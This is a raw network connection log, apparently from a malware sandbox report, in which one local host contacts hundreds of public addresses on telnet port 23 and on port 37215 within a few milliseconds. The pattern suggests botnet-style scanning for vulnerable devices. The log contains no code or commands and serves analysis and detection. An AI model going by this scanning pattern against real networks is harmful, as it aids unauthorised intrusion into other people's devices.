Mar 6, 2025 21:38:03.640674114 CET	41092	23	192.168.2.13	211.8.239.158
Mar 6, 2025 21:38:03.640674114 CET	41092	23	192.168.2.13	183.236.139.242
Mar 6, 2025 21:38:03.640712976 CET	37215	41098	181.87.38.125	192.168.2.13
Mar 6, 2025 21:38:03.640723944 CET	37215	41098	196.43.167.177	192.168.2.13
Mar 6, 2025 21:38:03.640727997 CET	41092	23	192.168.2.13	138.206.227.127
Mar 6, 2025 21:38:03.640731096 CET	41092	23	192.168.2.13	105.144.138.207
Mar 6, 2025 21:38:03.640746117 CET	41098	37215	192.168.2.13	181.87.38.125
Mar 6, 2025 21:38:03.640764952 CET	41092	23	192.168.2.13	84.51.37.95
Mar 6, 2025 21:38:03.640765905 CET	41098	37215	192.168.2.13	196.43.167.177
Mar 6, 2025 21:38:03.640778065 CET	41092	23	192.168.2.13	216.149.194.227
Mar 6, 2025 21:38:03.640782118 CET	41092	23	192.168.2.13	160.107.231.38
Mar 6, 2025 21:38:03.640791893 CET	41092	23	192.168.2.13	155.127.147.50
Mar 6, 2025 21:38:03.640791893 CET	41092	23	192.168.2.13	44.154.163.107
Mar 6, 2025 21:38:03.640793085 CET	41092	23	192.168.2.13	169.222.124.96
Mar 6, 2025 21:38:03.640831947 CET	37215	41098	196.99.173.230	192.168.2.13
Mar 6, 2025 21:38:03.640841961 CET	37215	41098	156.62.246.47	192.168.2.13
Mar 6, 2025 21:38:03.640872955 CET	41098	37215	192.168.2.13	196.99.173.230
Mar 6, 2025 21:38:03.640877962 CET	41098	37215	192.168.2.13	156.62.246.47
Mar 6, 2025 21:38:03.640897989 CET	37215	41098	196.26.63.44	192.168.2.13
Mar 6, 2025 21:38:03.640938044 CET	41098	37215	192.168.2.13	196.26.63.44
Mar 6, 2025 21:38:03.641180038 CET	37215	41098	223.8.88.2	192.168.2.13
Mar 6, 2025 21:38:03.641190052 CET	37215	41098	41.172.61.3	192.168.2.13
Mar 6, 2025 21:38:03.641200066 CET	37215	41098	196.13.140.189	192.168.2.13
Mar 6, 2025 21:38:03.641208887 CET	37215	41098	223.8.188.202	192.168.2.13
Mar 6, 2025 21:38:03.641220093 CET	37215	41098	46.255.10.184	192.168.2.13
Mar 6, 2025 21:38:03.641220093 CET	41098	37215	192.168.2.13	223.8.88.2
Mar 6, 2025 21:38:03.641227007 CET	41098	37215	192.168.2.13	41.172.61.3
Mar 6, 2025 21:38:03.641231060 CET	37215	41098	41.35.133.151	192.168.2.13
Mar 6, 2025 21:38:03.641247988 CET	41098	37215	192.168.2.13	46.255.10.184
Mar 6, 2025 21:38:03.641247988 CET	37215	41098	223.8.101.170	192.168.2.13
Mar 6, 2025 21:38:03.641248941 CET	41098	37215	192.168.2.13	223.8.188.202
Mar 6, 2025 21:38:03.641251087 CET	41098	37215	192.168.2.13	196.13.140.189
Mar 6, 2025 21:38:03.641259909 CET	37215	41098	41.178.82.123	192.168.2.13
Mar 6, 2025 21:38:03.641269922 CET	37215	41098	197.16.127.31	192.168.2.13
Mar 6, 2025 21:38:03.641278982 CET	37215	41098	197.65.45.228	192.168.2.13
Mar 6, 2025 21:38:03.641289949 CET	41098	37215	192.168.2.13	41.35.133.151
Mar 6, 2025 21:38:03.641289949 CET	41098	37215	192.168.2.13	223.8.101.170
Mar 6, 2025 21:38:03.641294003 CET	41098	37215	192.168.2.13	41.178.82.123
Mar 6, 2025 21:38:03.641308069 CET	41098	37215	192.168.2.13	197.16.127.31
Mar 6, 2025 21:38:03.641313076 CET	41098	37215	192.168.2.13	197.65.45.228
Mar 6, 2025 21:38:03.641444921 CET	37215	41098	46.170.39.233	192.168.2.13
Mar 6, 2025 21:38:03.641463041 CET	37215	41098	196.114.213.245	192.168.2.13
Mar 6, 2025 21:38:03.641472101 CET	37215	41098	196.19.79.89	192.168.2.13
Mar 6, 2025 21:38:03.641489029 CET	41098	37215	192.168.2.13	46.170.39.233
Mar 6, 2025 21:38:03.641496897 CET	41098	37215	192.168.2.13	196.114.213.245
Mar 6, 2025 21:38:03.641503096 CET	41098	37215	192.168.2.13	196.19.79.89
Mar 6, 2025 21:38:03.641508102 CET	37215	41098	134.76.175.137	192.168.2.13
Mar 6, 2025 21:38:03.641554117 CET	41098	37215	192.168.2.13	134.76.175.137
Mar 6, 2025 21:38:03.641767979 CET	37215	41098	156.148.48.105	192.168.2.13
Mar 6, 2025 21:38:03.641778946 CET	37215	41098	134.250.14.201	192.168.2.13
Mar 6, 2025 21:38:03.641786098 CET	37215	41098	41.154.111.143	192.168.2.13
Mar 6, 2025 21:38:03.641796112 CET	37215	41098	41.172.7.4	192.168.2.13
Mar 6, 2025 21:38:03.641805887 CET	37215	41098	223.8.156.155	192.168.2.13
Mar 6, 2025 21:38:03.641812086 CET	41098	37215	192.168.2.13	156.148.48.105
Mar 6, 2025 21:38:03.641815901 CET	37215	41098	196.251.27.28	192.168.2.13
Mar 6, 2025 21:38:03.641825914 CET	37215	41098	46.236.64.226	192.168.2.13
Mar 6, 2025 21:38:03.641830921 CET	41098	37215	192.168.2.13	41.154.111.143
Mar 6, 2025 21:38:03.641830921 CET	41098	37215	192.168.2.13	41.172.7.4
Mar 6, 2025 21:38:03.641830921 CET	41098	37215	192.168.2.13	223.8.156.155
Mar 6, 2025 21:38:03.641833067 CET	41098	37215	192.168.2.13	134.250.14.201
Mar 6, 2025 21:38:03.641836882 CET	37215	41098	197.238.9.115	192.168.2.13
Mar 6, 2025 21:38:03.641846895 CET	37215	41098	197.154.103.166	192.168.2.13
Mar 6, 2025 21:38:03.641854048 CET	41098	37215	192.168.2.13	46.236.64.226
Mar 6, 2025 21:38:03.641869068 CET	41098	37215	192.168.2.13	196.251.27.28
Mar 6, 2025 21:38:03.641879082 CET	41098	37215	192.168.2.13	197.238.9.115
Mar 6, 2025 21:38:03.641880989 CET	41098	37215	192.168.2.13	197.154.103.166
Mar 6, 2025 21:38:03.642239094 CET	37215	41098	197.99.235.91	192.168.2.13
Mar 6, 2025 21:38:03.642281055 CET	41098	37215	192.168.2.13	197.99.235.91
Mar 6, 2025 21:38:03.642307997 CET	37215	41098	196.82.234.162	192.168.2.13
Mar 6, 2025 21:38:03.642318010 CET	37215	41098	223.8.181.1	192.168.2.13
Mar 6, 2025 21:38:03.642326117 CET	37215	41098	156.236.78.194	192.168.2.13
Mar 6, 2025 21:38:03.642349005 CET	41098	37215	192.168.2.13	196.82.234.162
Mar 6, 2025 21:38:03.642349005 CET	41098	37215	192.168.2.13	223.8.181.1
Mar 6, 2025 21:38:03.642359972 CET	41098	37215	192.168.2.13	156.236.78.194
Mar 6, 2025 21:38:03.642462015 CET	37215	41098	181.75.36.86	192.168.2.13
Mar 6, 2025 21:38:03.642473936 CET	37215	41098	197.122.95.139	192.168.2.13
Mar 6, 2025 21:38:03.642482996 CET	37215	41098	197.20.229.146	192.168.2.13
Mar 6, 2025 21:38:03.642492056 CET	37215	41098	134.93.161.218	192.168.2.13
Mar 6, 2025 21:38:03.642501116 CET	37215	41098	223.8.73.168	192.168.2.13
Mar 6, 2025 21:38:03.642508984 CET	41098	37215	192.168.2.13	197.122.95.139
Mar 6, 2025 21:38:03.642509937 CET	41098	37215	192.168.2.13	181.75.36.86
Mar 6, 2025 21:38:03.642509937 CET	41098	37215	192.168.2.13	197.20.229.146
Mar 6, 2025 21:38:03.642510891 CET	37215	41098	197.50.17.141	192.168.2.13
Mar 6, 2025 21:38:03.642518997 CET	41098	37215	192.168.2.13	134.93.161.218
Mar 6, 2025 21:38:03.642532110 CET	37215	41098	223.8.233.222	192.168.2.13
Mar 6, 2025 21:38:03.642539024 CET	41098	37215	192.168.2.13	223.8.73.168
Mar 6, 2025 21:38:03.642544031 CET	37215	41098	134.244.9.99	192.168.2.13
Mar 6, 2025 21:38:03.642554045 CET	37215	41098	181.44.208.87	192.168.2.13
Mar 6, 2025 21:38:03.642563105 CET	37215	41098	181.32.58.59	192.168.2.13
Mar 6, 2025 21:38:03.642574072 CET	37215	41098	197.152.242.146	192.168.2.13
Mar 6, 2025 21:38:03.642575026 CET	41098	37215	192.168.2.13	134.244.9.99
Mar 6, 2025 21:38:03.642582893 CET	41098	37215	192.168.2.13	181.44.208.87
Mar 6, 2025 21:38:03.642585039 CET	37215	41098	156.160.61.156	192.168.2.13
Mar 6, 2025 21:38:03.642594099 CET	41098	37215	192.168.2.13	197.50.17.141
Mar 6, 2025 21:38:03.642594099 CET	41098	37215	192.168.2.13	223.8.233.222
Mar 6, 2025 21:38:03.642595053 CET	37215	41098	197.218.93.64	192.168.2.13
Mar 6, 2025 21:38:03.642601967 CET	41098	37215	192.168.2.13	181.32.58.59
Mar 6, 2025 21:38:03.642602921 CET	41098	37215	192.168.2.13	197.152.242.146
Mar 6, 2025 21:38:03.642606974 CET	37215	41098	41.66.105.153	192.168.2.13
Mar 6, 2025 21:38:03.642611027 CET	41098	37215	192.168.2.13	156.160.61.156
Mar 6, 2025 21:38:03.642616987 CET	47394	37215	192.168.2.13	41.147.108.84
Mar 6, 2025 21:38:03.642617941 CET	37215	41098	134.86.202.219	192.168.2.13
Mar 6, 2025 21:38:03.642622948 CET	41098	37215	192.168.2.13	197.218.93.64
Mar 6, 2025 21:38:03.642628908 CET	23	41092	178.85.107.137	192.168.2.13
Mar 6, 2025 21:38:03.642640114 CET	23	41092	204.86.20.10	192.168.2.13
Mar 6, 2025 21:38:03.642647982 CET	41098	37215	192.168.2.13	41.66.105.153
Mar 6, 2025 21:38:03.642652988 CET	23	41092	122.173.139.176	192.168.2.13
Mar 6, 2025 21:38:03.642663956 CET	37215	41098	41.228.176.24	192.168.2.13
Mar 6, 2025 21:38:03.642673016 CET	37215	41098	223.8.126.49	192.168.2.13
Mar 6, 2025 21:38:03.642673016 CET	41092	23	192.168.2.13	178.85.107.137
Mar 6, 2025 21:38:03.642677069 CET	41092	23	192.168.2.13	204.86.20.10
Mar 6, 2025 21:38:03.642683983 CET	37215	41098	223.8.27.133	192.168.2.13
Mar 6, 2025 21:38:03.642693043 CET	37215	41098	181.98.143.241	192.168.2.13
Mar 6, 2025 21:38:03.642693996 CET	41098	37215	192.168.2.13	41.228.176.24
Mar 6, 2025 21:38:03.642698050 CET	37215	41098	156.68.142.203	192.168.2.13
Mar 6, 2025 21:38:03.642708063 CET	37215	41098	156.137.24.0	192.168.2.13
Mar 6, 2025 21:38:03.642716885 CET	37215	41098	134.145.77.85	192.168.2.13
Mar 6, 2025 21:38:03.642723083 CET	41098	37215	192.168.2.13	181.98.143.241
Mar 6, 2025 21:38:03.642724037 CET	41098	37215	192.168.2.13	156.68.142.203
Mar 6, 2025 21:38:03.642724037 CET	41098	37215	192.168.2.13	223.8.27.133
Mar 6, 2025 21:38:03.642725945 CET	37215	41098	196.45.83.43	192.168.2.13
Mar 6, 2025 21:38:03.642735958 CET	37215	41098	181.158.69.122	192.168.2.13
Mar 6, 2025 21:38:03.642745972 CET	23	41092	19.194.63.84	192.168.2.13
Mar 6, 2025 21:38:03.642751932 CET	41098	37215	192.168.2.13	134.86.202.219
Mar 6, 2025 21:38:03.642751932 CET	41092	23	192.168.2.13	122.173.139.176
Mar 6, 2025 21:38:03.642751932 CET	41098	37215	192.168.2.13	156.137.24.0
Mar 6, 2025 21:38:03.642751932 CET	41098	37215	192.168.2.13	134.145.77.85
Mar 6, 2025 21:38:03.642756939 CET	23	41092	117.161.66.77	192.168.2.13
Mar 6, 2025 21:38:03.642769098 CET	23	41092	183.49.250.35	192.168.2.13
Mar 6, 2025 21:38:03.642777920 CET	23	41092	89.129.107.45	192.168.2.13
Mar 6, 2025 21:38:03.642780066 CET	41092	23	192.168.2.13	19.194.63.84
Mar 6, 2025 21:38:03.642781973 CET	23	41092	193.66.211.162	192.168.2.13
Mar 6, 2025 21:38:03.642785072 CET	41098	37215	192.168.2.13	223.8.126.49
Mar 6, 2025 21:38:03.642785072 CET	41098	37215	192.168.2.13	196.45.83.43
Mar 6, 2025 21:38:03.642785072 CET	41098	37215	192.168.2.13	181.158.69.122
Mar 6, 2025 21:38:03.642791986 CET	37215	41098	46.93.2.228	192.168.2.13
Mar 6, 2025 21:38:03.642800093 CET	41092	23	192.168.2.13	117.161.66.77
Mar 6, 2025 21:38:03.642800093 CET	41092	23	192.168.2.13	89.129.107.45
Mar 6, 2025 21:38:03.642801046 CET	37215	41098	156.224.97.34	192.168.2.13
Mar 6, 2025 21:38:03.642807007 CET	41092	23	192.168.2.13	183.49.250.35
Mar 6, 2025 21:38:03.642812014 CET	37215	41098	223.8.96.153	192.168.2.13
Mar 6, 2025 21:38:03.642827988 CET	41098	37215	192.168.2.13	46.93.2.228
Mar 6, 2025 21:38:03.642827988 CET	41098	37215	192.168.2.13	156.224.97.34
Mar 6, 2025 21:38:03.642846107 CET	41098	37215	192.168.2.13	223.8.96.153
Mar 6, 2025 21:38:03.642860889 CET	37215	41098	196.254.163.68	192.168.2.13
Mar 6, 2025 21:38:03.642877102 CET	41092	23	192.168.2.13	193.66.211.162
Mar 6, 2025 21:38:03.642905951 CET	41098	37215	192.168.2.13	196.254.163.68
Mar 6, 2025 21:38:03.642909050 CET	23	41092	216.157.48.93	192.168.2.13
Mar 6, 2025 21:38:03.642920017 CET	23	41092	122.149.221.137	192.168.2.13
Mar 6, 2025 21:38:03.642951965 CET	41092	23	192.168.2.13	216.157.48.93
Mar 6, 2025 21:38:03.642956018 CET	23	41092	101.224.66.64	192.168.2.13
Mar 6, 2025 21:38:03.642963886 CET	41092	23	192.168.2.13	122.149.221.137
Mar 6, 2025 21:38:03.642967939 CET	37215	41098	134.4.49.208	192.168.2.13
Mar 6, 2025 21:38:03.642980099 CET	37215	41098	223.8.204.252	192.168.2.13
Mar 6, 2025 21:38:03.642987967 CET	37215	41098	41.161.83.56	192.168.2.13
Mar 6, 2025 21:38:03.642997980 CET	41092	23	192.168.2.13	101.224.66.64
Mar 6, 2025 21:38:03.642999887 CET	41098	37215	192.168.2.13	134.4.49.208
Mar 6, 2025 21:38:03.643017054 CET	41098	37215	192.168.2.13	223.8.204.252
Mar 6, 2025 21:38:03.643026114 CET	41098	37215	192.168.2.13	41.161.83.56
Mar 6, 2025 21:38:03.643068075 CET	37215	41098	46.105.9.63	192.168.2.13
Mar 6, 2025 21:38:03.643078089 CET	37215	41098	196.134.128.253	192.168.2.13
Mar 6, 2025 21:38:03.643086910 CET	37215	41098	134.66.198.62	192.168.2.13
Mar 6, 2025 21:38:03.643104076 CET	23	41092	167.149.172.2	192.168.2.13
Mar 6, 2025 21:38:03.643110037 CET	41098	37215	192.168.2.13	46.105.9.63
Mar 6, 2025 21:38:03.643110037 CET	41098	37215	192.168.2.13	196.134.128.253
Mar 6, 2025 21:38:03.643114090 CET	37215	41098	196.252.75.147	192.168.2.13
Mar 6, 2025 21:38:03.643122911 CET	37215	41098	223.8.204.157	192.168.2.13
Mar 6, 2025 21:38:03.643131971 CET	37215	41098	223.8.21.79	192.168.2.13
Mar 6, 2025 21:38:03.643135071 CET	41098	37215	192.168.2.13	134.66.198.62
Mar 6, 2025 21:38:03.643142939 CET	37215	41098	197.124.70.180	192.168.2.13
Mar 6, 2025 21:38:03.643145084 CET	41092	23	192.168.2.13	167.149.172.2
Mar 6, 2025 21:38:03.643147945 CET	41098	37215	192.168.2.13	196.252.75.147
Mar 6, 2025 21:38:03.643155098 CET	37215	41098	223.8.38.64	192.168.2.13
Mar 6, 2025 21:38:03.643166065 CET	37215	41098	223.8.75.48	192.168.2.13
Mar 6, 2025 21:38:03.643172979 CET	41098	37215	192.168.2.13	197.124.70.180
Mar 6, 2025 21:38:03.643188000 CET	41098	37215	192.168.2.13	223.8.38.64
Mar 6, 2025 21:38:03.643220901 CET	41098	37215	192.168.2.13	223.8.204.157
Mar 6, 2025 21:38:03.643220901 CET	41098	37215	192.168.2.13	223.8.21.79
Mar 6, 2025 21:38:03.643220901 CET	41098	37215	192.168.2.13	223.8.75.48
Mar 6, 2025 21:38:03.643513918 CET	23	41092	188.249.203.231	192.168.2.13
Mar 6, 2025 21:38:03.643524885 CET	23	41092	69.120.218.27	192.168.2.13
Mar 6, 2025 21:38:03.643533945 CET	37215	41098	196.174.61.45	192.168.2.13
Mar 6, 2025 21:38:03.643543005 CET	37215	41098	156.157.47.62	192.168.2.13
Mar 6, 2025 21:38:03.643553019 CET	37215	41098	196.169.114.35	192.168.2.13
Mar 6, 2025 21:38:03.643562078 CET	41092	23	192.168.2.13	69.120.218.27
Mar 6, 2025 21:38:03.643562078 CET	41098	37215	192.168.2.13	196.174.61.45
Mar 6, 2025 21:38:03.643563032 CET	37215	41098	46.36.209.205	192.168.2.13
Mar 6, 2025 21:38:03.643572092 CET	37215	41098	197.214.114.204	192.168.2.13
Mar 6, 2025 21:38:03.643583059 CET	23	41092	170.183.210.248	192.168.2.13
Mar 6, 2025 21:38:03.643594980 CET	41098	37215	192.168.2.13	46.36.209.205
Mar 6, 2025 21:38:03.643594980 CET	41098	37215	192.168.2.13	197.214.114.204
Mar 6, 2025 21:38:03.643599987 CET	23	41092	34.148.243.163	192.168.2.13
Mar 6, 2025 21:38:03.643610954 CET	23	41092	115.252.9.161	192.168.2.13
Mar 6, 2025 21:38:03.643614054 CET	41092	23	192.168.2.13	188.249.203.231
Mar 6, 2025 21:38:03.643614054 CET	41098	37215	192.168.2.13	156.157.47.62
Mar 6, 2025 21:38:03.643614054 CET	41098	37215	192.168.2.13	196.169.114.35
Mar 6, 2025 21:38:03.643620014 CET	37215	41098	196.95.28.17	192.168.2.13
Mar 6, 2025 21:38:03.643620968 CET	41092	23	192.168.2.13	170.183.210.248
Mar 6, 2025 21:38:03.643626928 CET	41092	23	192.168.2.13	34.148.243.163
Mar 6, 2025 21:38:03.643630981 CET	37215	41098	223.8.11.136	192.168.2.13
Mar 6, 2025 21:38:03.643641949 CET	37215	41098	196.5.44.177	192.168.2.13
Mar 6, 2025 21:38:03.643644094 CET	41092	23	192.168.2.13	115.252.9.161
Mar 6, 2025 21:38:03.643651962 CET	37215	41098	41.106.108.117	192.168.2.13
Mar 6, 2025 21:38:03.643656015 CET	41098	37215	192.168.2.13	196.95.28.17
Mar 6, 2025 21:38:03.643666983 CET	41098	37215	192.168.2.13	223.8.11.136
Mar 6, 2025 21:38:03.643670082 CET	41098	37215	192.168.2.13	196.5.44.177
Mar 6, 2025 21:38:03.643671036 CET	37215	41098	181.147.165.186	192.168.2.13
Mar 6, 2025 21:38:03.643682003 CET	37215	41098	156.205.35.83	192.168.2.13
Mar 6, 2025 21:38:03.643691063 CET	37215	41098	223.8.31.90	192.168.2.13
Mar 6, 2025 21:38:03.643697977 CET	41098	37215	192.168.2.13	41.106.108.117
Mar 6, 2025 21:38:03.643699884 CET	37215	41098	134.199.190.7	192.168.2.13
Mar 6, 2025 21:38:03.643709898 CET	37215	41098	223.8.96.108	192.168.2.13
Mar 6, 2025 21:38:03.643712997 CET	41098	37215	192.168.2.13	181.147.165.186
Mar 6, 2025 21:38:03.643719912 CET	37215	41098	156.93.34.37	192.168.2.13
Mar 6, 2025 21:38:03.643723965 CET	41098	37215	192.168.2.13	156.205.35.83
Mar 6, 2025 21:38:03.643723965 CET	41098	37215	192.168.2.13	223.8.31.90
Mar 6, 2025 21:38:03.643729925 CET	37215	41098	223.8.208.216	192.168.2.13
Mar 6, 2025 21:38:03.643737078 CET	41098	37215	192.168.2.13	134.199.190.7
Mar 6, 2025 21:38:03.643739939 CET	23	41092	61.188.161.137	192.168.2.13
Mar 6, 2025 21:38:03.643742085 CET	41098	37215	192.168.2.13	223.8.96.108
Mar 6, 2025 21:38:03.643742085 CET	41098	37215	192.168.2.13	156.93.34.37
Mar 6, 2025 21:38:03.643764973 CET	41098	37215	192.168.2.13	223.8.208.216
Mar 6, 2025 21:38:03.643773079 CET	41092	23	192.168.2.13	61.188.161.137
Mar 6, 2025 21:38:03.644174099 CET	23	41092	116.196.184.235	192.168.2.13
Mar 6, 2025 21:38:03.644185066 CET	37215	41098	41.192.51.201	192.168.2.13
Mar 6, 2025 21:38:03.644192934 CET	23	41092	32.120.182.216	192.168.2.13
Mar 6, 2025 21:38:03.644202948 CET	23	41092	203.120.128.19	192.168.2.13
Mar 6, 2025 21:38:03.644212961 CET	37215	41098	197.238.205.209	192.168.2.13
Mar 6, 2025 21:38:03.644222975 CET	37215	41098	196.42.23.175	192.168.2.13
Mar 6, 2025 21:38:03.644232988 CET	23	41092	113.248.89.217	192.168.2.13
Mar 6, 2025 21:38:03.644239902 CET	41092	23	192.168.2.13	203.120.128.19
Mar 6, 2025 21:38:03.644243002 CET	37215	41098	134.71.218.243	192.168.2.13
Mar 6, 2025 21:38:03.644263029 CET	37215	41098	156.241.146.96	192.168.2.13
Mar 6, 2025 21:38:03.644264936 CET	41092	23	192.168.2.13	116.196.184.235
Mar 6, 2025 21:38:03.644264936 CET	41098	37215	192.168.2.13	41.192.51.201
Mar 6, 2025 21:38:03.644264936 CET	41092	23	192.168.2.13	32.120.182.216
Mar 6, 2025 21:38:03.644264936 CET	41092	23	192.168.2.13	113.248.89.217
Mar 6, 2025 21:38:03.644273043 CET	37215	41098	223.8.223.91	192.168.2.13
Mar 6, 2025 21:38:03.644277096 CET	41098	37215	192.168.2.13	197.238.205.209
Mar 6, 2025 21:38:03.644277096 CET	41098	37215	192.168.2.13	196.42.23.175
Mar 6, 2025 21:38:03.644284010 CET	37215	41098	181.109.116.38	192.168.2.13
Mar 6, 2025 21:38:03.644284010 CET	41098	37215	192.168.2.13	134.71.218.243
Mar 6, 2025 21:38:03.644293070 CET	37215	41098	181.101.222.171	192.168.2.13
Mar 6, 2025 21:38:03.644299984 CET	41098	37215	192.168.2.13	156.241.146.96
Mar 6, 2025 21:38:03.644300938 CET	41098	37215	192.168.2.13	223.8.223.91
Mar 6, 2025 21:38:03.644304037 CET	37215	41098	196.225.250.173	192.168.2.13
Mar 6, 2025 21:38:03.644319057 CET	37215	41098	197.234.74.232	192.168.2.13
Mar 6, 2025 21:38:03.644329071 CET	37215	41098	41.83.113.51	192.168.2.13
Mar 6, 2025 21:38:03.644331932 CET	41098	37215	192.168.2.13	181.101.222.171
Mar 6, 2025 21:38:03.644337893 CET	23	41092	217.209.210.85	192.168.2.13
Mar 6, 2025 21:38:03.644345045 CET	41098	37215	192.168.2.13	181.109.116.38
Mar 6, 2025 21:38:03.644347906 CET	23	41092	87.184.222.224	192.168.2.13
Mar 6, 2025 21:38:03.644351959 CET	41098	37215	192.168.2.13	196.225.250.173
Mar 6, 2025 21:38:03.644352913 CET	41098	37215	192.168.2.13	197.234.74.232
Mar 6, 2025 21:38:03.644371986 CET	41092	23	192.168.2.13	217.209.210.85
Mar 6, 2025 21:38:03.644371986 CET	41098	37215	192.168.2.13	41.83.113.51
Mar 6, 2025 21:38:03.644371986 CET	41092	23	192.168.2.13	87.184.222.224
Mar 6, 2025 21:38:03.644731045 CET	23	41092	68.201.159.36	192.168.2.13
Mar 6, 2025 21:38:03.644741058 CET	23	41092	135.83.12.141	192.168.2.13
Mar 6, 2025 21:38:03.644750118 CET	23	41092	182.249.127.201	192.168.2.13
Mar 6, 2025 21:38:03.644757986 CET	23	41092	175.192.185.240	192.168.2.13
Mar 6, 2025 21:38:03.644768000 CET	23	41092	120.239.76.67	192.168.2.13
Mar 6, 2025 21:38:03.644778967 CET	41092	23	192.168.2.13	182.249.127.201
Mar 6, 2025 21:38:03.644778967 CET	41092	23	192.168.2.13	68.201.159.36
Mar 6, 2025 21:38:03.644778967 CET	41092	23	192.168.2.13	135.83.12.141
Mar 6, 2025 21:38:03.644790888 CET	41092	23	192.168.2.13	175.192.185.240
Mar 6, 2025 21:38:03.644807100 CET	41092	23	192.168.2.13	120.239.76.67
Mar 6, 2025 21:38:03.644881010 CET	37215	41098	223.8.98.235	192.168.2.13
Mar 6, 2025 21:38:03.644891977 CET	37215	41098	134.45.255.144	192.168.2.13
Mar 6, 2025 21:38:03.644900084 CET	37215	41098	223.8.39.57	192.168.2.13
Mar 6, 2025 21:38:03.644907951 CET	37215	41098	197.244.33.35	192.168.2.13
Mar 6, 2025 21:38:03.644917965 CET	37215	41098	41.47.248.36	192.168.2.13
Mar 6, 2025 21:38:03.644920111 CET	41098	37215	192.168.2.13	223.8.98.235
Mar 6, 2025 21:38:03.644920111 CET	41098	37215	192.168.2.13	134.45.255.144
Mar 6, 2025 21:38:03.644927979 CET	37215	41098	134.81.219.115	192.168.2.13
Mar 6, 2025 21:38:03.644934893 CET	41098	37215	192.168.2.13	223.8.39.57
Mar 6, 2025 21:38:03.644937038 CET	37215	41098	41.147.130.180	192.168.2.13
Mar 6, 2025 21:38:03.644952059 CET	37215	41098	181.23.81.74	192.168.2.13
Mar 6, 2025 21:38:03.644963026 CET	37215	41098	223.8.61.60	192.168.2.13
Mar 6, 2025 21:38:03.644970894 CET	37215	41098	196.187.240.223	192.168.2.13
Mar 6, 2025 21:38:03.644973993 CET	41098	37215	192.168.2.13	41.147.130.180
Mar 6, 2025 21:38:03.644979000 CET	37215	41098	156.7.12.222	192.168.2.13
Mar 6, 2025 21:38:03.644989014 CET	23	41092	144.16.146.124	192.168.2.13
Mar 6, 2025 21:38:03.644995928 CET	41098	37215	192.168.2.13	223.8.61.60
Mar 6, 2025 21:38:03.644999027 CET	23	41092	86.136.116.15	192.168.2.13
Mar 6, 2025 21:38:03.644999981 CET	41098	37215	192.168.2.13	181.23.81.74
Mar 6, 2025 21:38:03.645008087 CET	23	41092	35.32.65.179	192.168.2.13
Mar 6, 2025 21:38:03.645014048 CET	41098	37215	192.168.2.13	197.244.33.35
Mar 6, 2025 21:38:03.645014048 CET	41098	37215	192.168.2.13	196.187.240.223
Mar 6, 2025 21:38:03.645014048 CET	41098	37215	192.168.2.13	156.7.12.222
Mar 6, 2025 21:38:03.645018101 CET	23	41092	41.236.66.154	192.168.2.13
Mar 6, 2025 21:38:03.645018101 CET	41098	37215	192.168.2.13	41.47.248.36
Mar 6, 2025 21:38:03.645018101 CET	41098	37215	192.168.2.13	134.81.219.115
Mar 6, 2025 21:38:03.645029068 CET	23	41092	133.240.54.166	192.168.2.13
Mar 6, 2025 21:38:03.645029068 CET	41092	23	192.168.2.13	144.16.146.124
Mar 6, 2025 21:38:03.645032883 CET	41092	23	192.168.2.13	86.136.116.15
Mar 6, 2025 21:38:03.645035028 CET	41092	23	192.168.2.13	35.32.65.179
Mar 6, 2025 21:38:03.645060062 CET	41092	23	192.168.2.13	133.240.54.166
Mar 6, 2025 21:38:03.645061016 CET	41092	23	192.168.2.13	41.236.66.154
Mar 6, 2025 21:38:03.645253897 CET	23	41092	204.238.136.70	192.168.2.13
Mar 6, 2025 21:38:03.645266056 CET	23	41092	73.105.65.128	192.168.2.13
Mar 6, 2025 21:38:03.645275116 CET	37215	41098	196.217.152.141	192.168.2.13
Mar 6, 2025 21:38:03.645298004 CET	41092	23	192.168.2.13	73.105.65.128
Mar 6, 2025 21:38:03.645298004 CET	41092	23	192.168.2.13	204.238.136.70
Mar 6, 2025 21:38:03.645317078 CET	41098	37215	192.168.2.13	196.217.152.141
Mar 6, 2025 21:38:03.645405054 CET	37215	41098	223.8.92.194	192.168.2.13
Mar 6, 2025 21:38:03.645416021 CET	37215	41098	223.8.62.166	192.168.2.13
Mar 6, 2025 21:38:03.645423889 CET	37215	41098	134.165.190.36	192.168.2.13
Mar 6, 2025 21:38:03.645432949 CET	37215	41098	197.143.15.175	192.168.2.13
Mar 6, 2025 21:38:03.645442963 CET	37215	41098	41.123.42.152	192.168.2.13
Mar 6, 2025 21:38:03.645451069 CET	41098	37215	192.168.2.13	223.8.92.194
Mar 6, 2025 21:38:03.645451069 CET	41098	37215	192.168.2.13	223.8.62.166
Mar 6, 2025 21:38:03.645451069 CET	41098	37215	192.168.2.13	134.165.190.36
Mar 6, 2025 21:38:03.645452976 CET	37215	41098	156.15.21.20	192.168.2.13
Mar 6, 2025 21:38:03.645452023 CET	41098	37215	192.168.2.13	197.143.15.175
Mar 6, 2025 21:38:03.645462036 CET	23	41092	125.249.225.121	192.168.2.13
Mar 6, 2025 21:38:03.645471096 CET	23	41092	62.216.213.3	192.168.2.13
Mar 6, 2025 21:38:03.645478964 CET	41098	37215	192.168.2.13	41.123.42.152
Mar 6, 2025 21:38:03.645489931 CET	41098	37215	192.168.2.13	156.15.21.20
Mar 6, 2025 21:38:03.645492077 CET	23	41092	81.249.139.115	192.168.2.13
Mar 6, 2025 21:38:03.645498037 CET	41092	23	192.168.2.13	125.249.225.121
Mar 6, 2025 21:38:03.645503998 CET	23	41092	151.219.58.148	192.168.2.13
Mar 6, 2025 21:38:03.645514011 CET	23	41092	219.61.220.137	192.168.2.13
Mar 6, 2025 21:38:03.645518064 CET	41092	23	192.168.2.13	62.216.213.3
Mar 6, 2025 21:38:03.645523071 CET	23	41092	202.136.188.209	192.168.2.13
Mar 6, 2025 21:38:03.645534039 CET	37215	41098	46.218.140.232	192.168.2.13
Mar 6, 2025 21:38:03.645539045 CET	41092	23	192.168.2.13	81.249.139.115
Mar 6, 2025 21:38:03.645539045 CET	41092	23	192.168.2.13	219.61.220.137
Mar 6, 2025 21:38:03.645539999 CET	41092	23	192.168.2.13	151.219.58.148
Mar 6, 2025 21:38:03.645544052 CET	37215	41098	156.218.218.2	192.168.2.13
Mar 6, 2025 21:38:03.645555019 CET	37215	41098	156.230.176.118	192.168.2.13
Mar 6, 2025 21:38:03.645560026 CET	37215	41098	41.116.33.8	192.168.2.13
Mar 6, 2025 21:38:03.645565033 CET	41092	23	192.168.2.13	202.136.188.209
Mar 6, 2025 21:38:03.645569086 CET	37215	41098	156.69.39.11	192.168.2.13
Mar 6, 2025 21:38:03.645571947 CET	41098	37215	192.168.2.13	46.218.140.232
